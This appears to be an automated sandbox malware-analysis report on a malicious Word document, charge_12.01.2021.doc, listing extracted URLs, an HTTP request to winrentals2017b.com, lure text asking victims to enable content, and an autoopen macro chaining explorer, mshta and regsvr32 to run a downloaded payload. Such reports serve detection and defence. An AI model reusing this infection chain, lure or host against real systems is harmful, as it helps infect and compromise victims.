Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://web.microsoftstream.com/video/I9g
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://webshell.suite.office.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosp
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://wus2.contentsync.
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571452806.0000000010A0E000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415190999.0000000010A0A000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://www.odwebp.svc.ms
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://www.odwebp.svc.msom
Source: unknown DNS traffic detected: queries for: winrentals2017b.com
Source: global traffic HTTP traffic detected: GET /tegz/Q277aG7FkN9pAcaWDfFlGNBeuaqGed8i/baWexTQoGyAAzLR/AU1XErrU1FitjjV8BBaQuem65smQXYvyd/64063/g6fJYLGHRVWp7s1tvHnZdv/XcjcYCjBX8tPaALshiDAx85PEq/cab3?ref=0t&WzOZ=9xyAidN&z3d9Ob0=EwAUkUUNyHsk&user=4Zky89n&cid=bE5YBOFyZvWHbGv9wPr7QVm&q=lYkgZNGYoZpu9 HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: winrentals2017b.comConnection: Keep-Alive

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable editing" button on the top bar, and then click 'Enable content" Page1 of 1 116words 112 O
Source: Screenshot number: 4 Screenshot OCR: Enable content" Page1 of 1 116words 112 O Type here to search Ki E a a g wg m % - I + lOW, 'f
Source: Screenshot number: 8 Screenshot OCR: Enable editing" button on the top bar, and then click 'Enable content" Page1 of 1 116words It? O
Source: Screenshot number: 8 Screenshot OCR: Enable content" Page1 of 1 116words It? O Type here to search Ki E a a g wg m % - I + 100% 'f
Document contains an embedded VBA macro which may execute processes
Source: VBA code instrumentation OLE, VBA macro: Module ThisDocument, Function s, API IWshShell3.exec("explorer youTube.hta") Name: s
Document has an unknown application name
Source: charge_12.01.2021.doc OLE indicator application name: unknown
Source: ~WRF{982F1FC3-FE5F-460D-815F-F7FB76116FDC}.tmp.1.dr OLE indicator application name: unknown
Detected potential crypto function
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Code function: 1_2_10863732 1_2_10863732
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: charge_12.01.2021.doc OLE, VBA macro line: Public Sub autoopen()
Source: VBA code instrumentation OLE, VBA macro: Module main, Function autoopen Name: autoopen
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{982F1FC3-FE5F-460D-815F-F7FB76116FDC}.tmp.1.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Document contains no OLE stream with summary information
Source: charge_12.01.2021.doc OLE indicator has summary info: false
Source: ~WRF{982F1FC3-FE5F-460D-815F-F7FB76116FDC}.tmp.1.dr OLE indicator has summary info: false
Searches for the Microsoft Outlook file path
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Document contains embedded VBA macros
Source: charge_12.01.2021.doc OLE indicator, VBA macros: true
Document contains an embedded VBA macro which reads document properties (may be used for disguise)
Source: charge_12.01.2021.doc OLE, VBA macro line: keywords = activedocument.builtindocumentproperties("keywords").value
Source: charge_12.01.2021.doc ReversingLabs: Detection: 29%
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\explorer.exe explorer youTube.hta
Source: unknown Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\Documents\youTube.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\dowNext.jpg
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\explorer.exe explorer youTube.hta Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\Documents\youTube.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\dowNext.jpg Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\{55D9ACF0-6563-4AA9-BDA1-49018F8DF26E} - OProcSessId.dat Jump to behavior
Source: classification engine Classification label: mal100.expl.evad.winDOC@8/16@1/1
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: charge_12.01.2021.doc OLE document summary: title field not present or empty
Source: charge_12.01.2021.doc OLE document summary: edited time not present or 0
Source: ~WRF{982F1FC3-FE5F-460D-815F-F7FB76116FDC}.tmp.1.dr OLE document summary: title field not present or empty
Source: ~WRF{982F1FC3-FE5F-460D-815F-F7FB76116FDC}.tmp.1.dr OLE document summary: author field not present or empty
Source: ~WRF{982F1FC3-FE5F-460D-815F-F7FB76116FDC}.tmp.1.dr OLE document summary: edited time not present or 0
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\explorer.exe
Source: unknown Process created: C:\Windows\explorer.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: charge_12.01.2021.doc Initial sample: OLE summary keywords = ath.ebuTuoy
Source: ~WRF{982F1FC3-FE5F-460D-815F-F7FB76116FDC}.tmp.1.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\mshta.exe Code function: 7_2_0AA5C334 push eax; ret 7_2_0AA5C335
Source: C:\Windows\SysWOW64\mshta.exe Code function: 7_2_0AA5F114 push ebp; ret 7_2_0AA5F11A
Source: C:\Windows\SysWOW64\mshta.exe Code function: 7_2_0AA5C364 pushfd ; ret 7_2_0AA5C369

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\explorer.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: explorer.exe, 00000006.00000002.563322432.00000000007E5000.00000004.00000020.sdmp Binary or memory string: War&Prod_VMware_
Source: mshta.exe, 00000007.00000003.309220115.0000000009F0F000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309451099.0000000009F0F000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.310098370.0000000009F0F000.00000004.00000001.sdmp, mshta.exe, 00000007.00000002.312858088.0000000009F0F000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAWAN Miniport (Network Monitor)-WFP Native MAC Layer LightWeight Filter-0000T?
Source: WINWORD.EXE, 00000001.00000002.569213146.000000000CFF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.568255480.000000000B290000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309220115.0000000009F0F000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309451099.0000000009F0F000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.310098370.0000000009F0F000.00000004.00000001.sdmp, mshta.exe, 00000007.00000002.312858088.0000000009F0F000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: mshta.exe, 00000007.00000002.312828178.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.310080125.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309434578.0000000009EDF000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW_
Source: mshta.exe, 00000007.00000002.312828178.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.310080125.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309434578.0000000009EDF000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW`

Anti Debugging:

barindex
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Code function: 1_2_0CC8E968 LdrInitializeThunk, 1_2_0CC8E968

HIPS / PFW / Operating System Protection Evasion:

barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\dowNext.jpg Jump to behavior
Source: WINWORD.EXE, 00000001.00000002.563865384.0000000001A90000.00000002.00020000.sdmp, explorer.exe, 00000006.00000002.563580542.0000000000F60000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: WINWORD.EXE, 00000001.00000002.563865384.0000000001A90000.00000002.00020000.sdmp, explorer.exe, 00000006.00000002.563580542.0000000000F60000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: WINWORD.EXE, 00000001.00000002.563865384.0000000001A90000.00000002.00020000.sdmp, explorer.exe, 00000006.00000002.563580542.0000000000F60000.00000002.00020000.sdmp Binary or memory string: Progman
Source: WINWORD.EXE, 00000001.00000002.563865384.0000000001A90000.00000002.00020000.sdmp, explorer.exe, 00000006.00000002.563580542.0000000000F60000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\mshta.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior

Stealing of Sensitive Information:

barindex
Searches for user specific document files
Source: C:\Windows\SysWOW64\explorer.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Directory queried: C:\Users\user\Documents Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 532355 Sample: charge_12.01.2021.doc Startdate: 02/12/2021 Architecture: WINDOWS Score: 100 25 Multi AV Scanner detection for submitted file 2->25 27 Sigma detected: Office product drops script at suspicious location 2->27 29 Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) 2->29 31 9 other signatures 2->31 7 WINWORD.EXE 38 44 2->7         started        10 explorer.exe 3 2->10         started        process3 file4 19 C:\Users\user\AppData\...\youTube.hta.LNK, MS 7->19 dropped 21 C:\Users\user\...\charge_12.01.2021.doc.LNK, MS 7->21 dropped 12 explorer.exe 1 7->12         started        14 mshta.exe 21 10->14         started        process5 dnsIp6 23 winrentals2017b.com 194.62.42.207, 49745, 80 ZEISS-ASRU Russian Federation 14->23 17 regsvr32.exe 14->17         started        process7
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
194.62.42.207
 winrentals2017b.com Russian Federation
34464 ZEISS-ASRU false

